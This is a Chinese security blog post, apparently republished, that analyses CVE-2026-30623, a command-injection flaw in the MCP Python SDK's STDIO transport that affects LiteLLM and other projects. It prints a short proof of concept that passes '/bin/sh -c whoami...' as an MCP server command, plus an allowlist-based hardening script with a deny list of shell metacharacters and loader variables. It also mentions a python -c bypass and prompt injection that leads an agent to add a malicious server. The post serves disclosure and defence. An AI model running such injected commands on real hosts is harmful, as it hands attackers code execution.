我在30行Python里拿到LiteLLM的root:CVE-2026-30623实战+加固

admin 2026-05-11 07:04:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了CVE-2026-30623漏洞,该漏洞源于MCP协议层StdioServerParameters命令字段未经过滤直接传递至subprocess.Popen,导致30多个项目面临RCE风险。文章提供了30行Python代码的本地复现方法,并给出基于命令白名单、参数校验和环境变量阻断的三维加固方案。同时指出Anthropic拒绝修改协议架构,建议各实现方自行部署防护措施。 综合评分: 85 文章分类: 漏洞分析,供应链安全,解决方案,应用安全,WEB安全


cover_image

我在 30 行 Python 里拿到 LiteLLM 的 root:CVE-2026-30623 实战 + 加固

原创

AI安全工坊 AI安全工坊

AI安全工坊

2026年5月7日 21:11 江苏

在小说阅读器读本章

去阅读

CVE-2026-30623 全局影响地图:MCP STDIO RCE 影响 30+ 项目

上周我审一台公司的 MCP server。

跑的是 LiteLLM v1.82.7。3 个工程师围在屏幕前 30 分钟。grep 都没敢动。

没看出问题。

我也没。

直到我把版本号往上翻。4 月发的那个 CVE-2026-30623,影响 7000 多台公网 LiteLLM,加上内网部署一共 20 万。这一台正好踩进去。

双窗口对照 — 左漏洞版 RCE 成功 / 右加固版 allowlist 拦截

下面拆 4 段:

  1. 1. CVE 是什么 / STDIO 直传到底直传到哪里了
  2. 2. 1 行命令本地复现(你跟着跑,能拿到一个属于你自己机器的 /tmp/pwned.txt
  3. 3. Python 加固脚本怎么写(直接抄)
  4. 4. Anthropic 拒修协议层 / 这个坑还会再来

一、不是普通的 RCE — 是 STDIO 直传

CVE-2026-30623 的根因,1 句话:

MCP Python SDK 的 StdioServerParameters 把用户传的 command 字段,直接交给了 stdio_client 内部的 subprocess.Popen

中间没有 allowlist。没有命令白名单。没有过滤。

这是协议层 SDK 的事,不是 LiteLLM 一家实现的 bug。所有把 MCP 服务挂在 STDIO 传输上的项目,全部继承同一个根因。

OX Security 4 月 15 日把这事公开的时候,给了它一个名字:「Mother of All AI Supply Chains」。同一个架构缺陷顺着 MCP 协议层「无声传播到每种语言」(Python / TypeScript / Java / Rust SDK 全部受影响)。

11 个已编号 CVE。30 多个项目踩雷。受影响清单上一连串你大概率用过的名字:

LangChain、LangFlow、Flowise、LettaAI、GPT Researcher、Agent Zero、Windsurf、DocsGPT、Jaaz、Langchain-Chatchat、Bisheng……

The Hacker News 报数字:7000+ 公网 server,累计 1.5 亿下载。

The Register 加了一笔:算上内网,20 万实例。

20 万这个数字我看完愣了一下。倒不是因为它大。是因为它揭示了一件事:Anthropic 在 MCP STDIO 接口规定 command 字段直接走 subprocess,所有实现方都照搬,所有人都中。

下面看怎么本地复现。我用了一个避开 LiteLLM 完整启动栈的最干净路径:直接攻击 MCP Python SDK 本身。


二、1 行命令复现(攻击 SDK = 攻击 30+ 项目)

先说前提:全程隔离,payload 只是 whoami + id + date 写到 /tmp/pwned.txt,无害。

为什么不直接跑 LiteLLM?因为 v1.83.5-nightly 的 docker 启动栈很重,强依赖 PostgreSQL + Prisma migrate,nightly 自己有 entrypoint bug 卡在数据库初始化。我浪费过半小时在那。

更聪明的复现路径:直接攻击 LiteLLM 内部调的那个 SDK,mcp.client.stdio。这是 30+ 受影响项目共享的根因层。OX advisory 原话:

“the underlying MCP Python SDK has unsanitized StdioServerParameters.command propagating to subprocess spawn”

STDIO 直传攻击链路:4 步从 JSON 到 RCE

PoC 的核心代码 30 行:

import asyncio
from mcp import StdioServerParameters
from mcp.client.stdio import stdio_client
from mcp.client.session import ClientSession

asyncdefreproduce_cve():
# ↓ 这两行 = LiteLLM v1.83.5 add_mcp_server 的等价代码
    server = StdioServerParameters(
        command="/bin/sh",                       # ← 用户可控字段,无 allowlist
        args=["-c", "whoami > /tmp/pwned.txt && id >> /tmp/pwned.txt"],
    )
# ↓ stdio_client 内部 → anyio.open_process → subprocess spawn
asyncwith stdio_client(server) as (read, write):
asyncwith ClientSession(read, write) as session:
try:
await asyncio.wait_for(session.initialize(), timeout=2.0)
except Exception:
pass# /bin/sh 不会响应 MCP 握手 → 超时是预期的,命令已经跑过了

asyncio.run(reproduce_cve())

跑一下:

pip install mcp
python3 poc_vulnerable.py
cat /tmp/pwned.txt

输出(脱敏占位):

poc_vulnerable.py 输出 — 脱敏版

我跑出的输出含我本机用户名和 macOS 主机名(截图里已脱敏成 <user> 和 <hostname>)。生产里 LiteLLM 默认 docker root 启动,输出会是 uid=0(root),攻击者直接拿容器 root。

已认证的 LiteLLM 用户,可以在代理主机以代理进程身份跑任意命令。

「认证用户应该都是自己人吧?」

不一定。LiteLLM 经常被部署成「内部 LLM 网关」,团队成员、测试账号、CI 凭证都有 master_key 或子 key。任何一个被钓鱼、子 key 被泄、CI 日志被偷看,攻击者就拿到了主机进程身份。

OX Security 列的 4 类攻击向量里那条更坏:零点击提示注入触发 STDIO 配置。攻击者通过一个 prompt 就让 Agent 自己改配置加恶意 MCP server。这条不需要任何凭证。

这部分我留到下篇 W3,专门讲 MCP 供应链。


三、加固脚本 — 直接抄

LiteLLM 官方在 v1.83.6-nightly 修了。内置 allowlist,只允许 7 个命令:

{"npx", "uvx", "python", "python3", "node", "docker", "deno"}

需要扩展的话用环境变量:

LITELLM_MCP_STDIO_EXTRA_COMMANDS="bash,sh"# 谨慎扩展

allowlist 有意做得很窄。/bin/sh 不在里面,因为攻击者最常用的就是 sh / bash 直接跑命令。强制走 npx / uvx / docker 这种包管理器封装的命令,至少多一层语义检查。

Allowlist 3 维度加固盾牌:command + args + env

来不及升 1.83.7-stable 的话,可以先抄这套。这版基于官方 allowlist 再加 args / env 两层纵深防御(不是简单复刻官方修复):

# litellm_hardening.py — 在调 StdioServerParameters 之前过一遍
import&nbsp;os
from&nbsp;pathlib&nbsp;import&nbsp;Path

ALLOWED = {"npx",&nbsp;"uvx",&nbsp;"python",&nbsp;"python3",&nbsp;"node",&nbsp;"docker",&nbsp;"deno"}
EXTRA = {c.strip()&nbsp;for&nbsp;c&nbsp;in&nbsp;os.getenv("LITELLM_MCP_STDIO_EXTRA_COMMANDS",&nbsp;"").split(",")&nbsp;if&nbsp;c.strip()}
ALLOWLIST = ALLOWED | EXTRA

defvalidate_mcp_command(cmd:&nbsp;str, args:&nbsp;list, env:&nbsp;dict&nbsp;|&nbsp;None&nbsp;=&nbsp;None) ->&nbsp;None:
"""3 维度校验 — 在 add MCP server 入口前调。"""
# 维度 1:command basename 必须在 allowlist
ifnot&nbsp;cmd&nbsp;ornot&nbsp;cmd.strip():
raise&nbsp;ValueError("MCP STDIO command 不能为空")
&nbsp; &nbsp; base = Path(cmd.strip()).name &nbsp; &nbsp; &nbsp;# /bin/sh -> sh / /usr/bin/python3 -> python3
if&nbsp;base&nbsp;notin&nbsp;ALLOWLIST:
raise&nbsp;ValueError(f"command '{base}' 不在 allowlist&nbsp;{sorted(ALLOWLIST)}")

# 维度 2:args 不能含 shell 元字符
# 防 attacker 改用 python -c 'import os;os.system("...")' 绕过
for&nbsp;a&nbsp;in&nbsp;args&nbsp;or&nbsp;[]:
ifisinstance(a,&nbsp;str)&nbsp;andany(d&nbsp;in&nbsp;a&nbsp;for&nbsp;d&nbsp;in&nbsp;(";",&nbsp;"&&",&nbsp;"||",&nbsp;"|",&nbsp;"`",&nbsp;"$(")):
raise&nbsp;ValueError(f"args 含可疑 shell 元字符:{a[:80]}")

# 维度 3:env 不能注入加载器变量
# 防 LD_PRELOAD / PYTHONPATH 链劫持
&nbsp; &nbsp; blocked = {"LD_PRELOAD",&nbsp;"LD_LIBRARY_PATH",&nbsp;"PYTHONPATH",&nbsp;"PYTHONSTARTUP"}
&nbsp; &nbsp; bad = [k&nbsp;for&nbsp;k&nbsp;in&nbsp;(env&nbsp;or&nbsp;{})&nbsp;if&nbsp;k&nbsp;in&nbsp;blocked]
if&nbsp;bad:
raise&nbsp;ValueError(f"env 含禁用的加载器变量:{bad}")

跑加固版(打包成 poc_hardened.py 一并放仓库),同 payload,结果不一样:

poc_hardened.py 输出 — allowlist 拦截

注入被拒。

和 LiteLLM 1.83.7 官方修复的关系

| 防护层 | LiteLLM 1.83.7 官方 | 上面这个脚本 | | — | — | — | | 1. command allowlist | ✅ 7 个命令 | ✅ 字节级一致 | | 2. args shell 元字符校验 | ❌ 不做 | ✅ 我加 | | 3. env 加载器变量阻断(LD_PRELOAD 等) | ❌ 不做 | ✅ 我加 |

LiteLLM 官方靠 /mcp-rest/test/* endpoint 的 PROXY_ADMIN 角色门控来兜底 args 残留风险(比如 attacker 用 docker run --privileged ubuntu bash,command 是白名单内的 docker,args 里给 root 容器)。LangChain / Flowise / Windsurf 这些没有等价角色门控的项目,args + env 这 2 层兜底更稳。

为什么我特地写了 args 校验和 env 校验?因为单层 allowlist 可被绕过。攻击者改用 python -c 'import os;os.system("whoami")',命令走 python(白名单内),但 args 里塞了完整 shell 命令,同样拿到 RCE。3 维度合在一起才是真加固。


四、Anthropic 拒修,下一波还会来

最让人头大的不是这一个 CVE。是 Anthropic 的回应。

The Hacker News 引用:

“Anthropic has declined to modify the protocol’s architecture, citing the behavior as ‘expected.’”

Anthropic 拒绝改 MCP 协议核心。他们认为 command 字段直传 subprocess 是「预期行为」。协议层不会修,所有实现 MCP 的项目自己加 allowlist、自己校验。

今天升 LiteLLM 1.83.7 救自己一次。下次 LangChain / LangFlow / Windsurf 出新功能,或者你接的下一个 MCP server,必须重做这套加固。没有协议层兜底,每个实现自己背锅。

这种协议级缺陷扩散不会停。authzed 的 MCP 安全事件时间线上,已经有:2025-10 Smithery 路径穿越,2026-01 Gemini MCP CVE-2026-0755,2026-02 假冒 Oura MCP 项目投毒,2026-04 这次 STDIO …… 平均 1-2 个月一次。

MCP 安全事件时间线:4 事件 / 1-2 月一次 / 趋势加速

下次出事的姿势我现在就能预判:

  • • MCP HTTP 传输层。身份验证、鉴权、token 绑定有没有问题?

  • • MCP Resources / Tools 字段。还有什么字段也是这样直传到 host 的?

  • • MCP 客户端 manifest 拉取。客户端拉服务端 manifest 时校验过吗?

    W4 我会出一篇企业 MCP 部署 7 陷阱 + 18 项自检清单。这一篇先把 STDIO 这个坑堵上。


文末

以上 4 段你可以直接拿去给同事看,或者自己周末 30 分钟跑一遍。复现脚本就 30 行,不用起完整 LiteLLM。

1. GitHub 持续更新版(推荐 ⭐ Star 一下追新)

→ https://github.com/taielab/ai-security-workshop→ W2 / W3 / W4 PoC + 加固代码 + 检测脚本持续累积,每周一篇配套

2. 工程师交流 / 企业 AI 安全咨询

加我个人微信(备注「W2」+ 来意):

3. 深度交流:知识星球「AI 安全工坊」 :


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AI安全工坊 AI安全工坊 AI安全工坊《我在 30 行 Python 里拿到 LiteLLM 的 root:CVE-2026-30623 实战 + 加固》

评论:0   参与:  0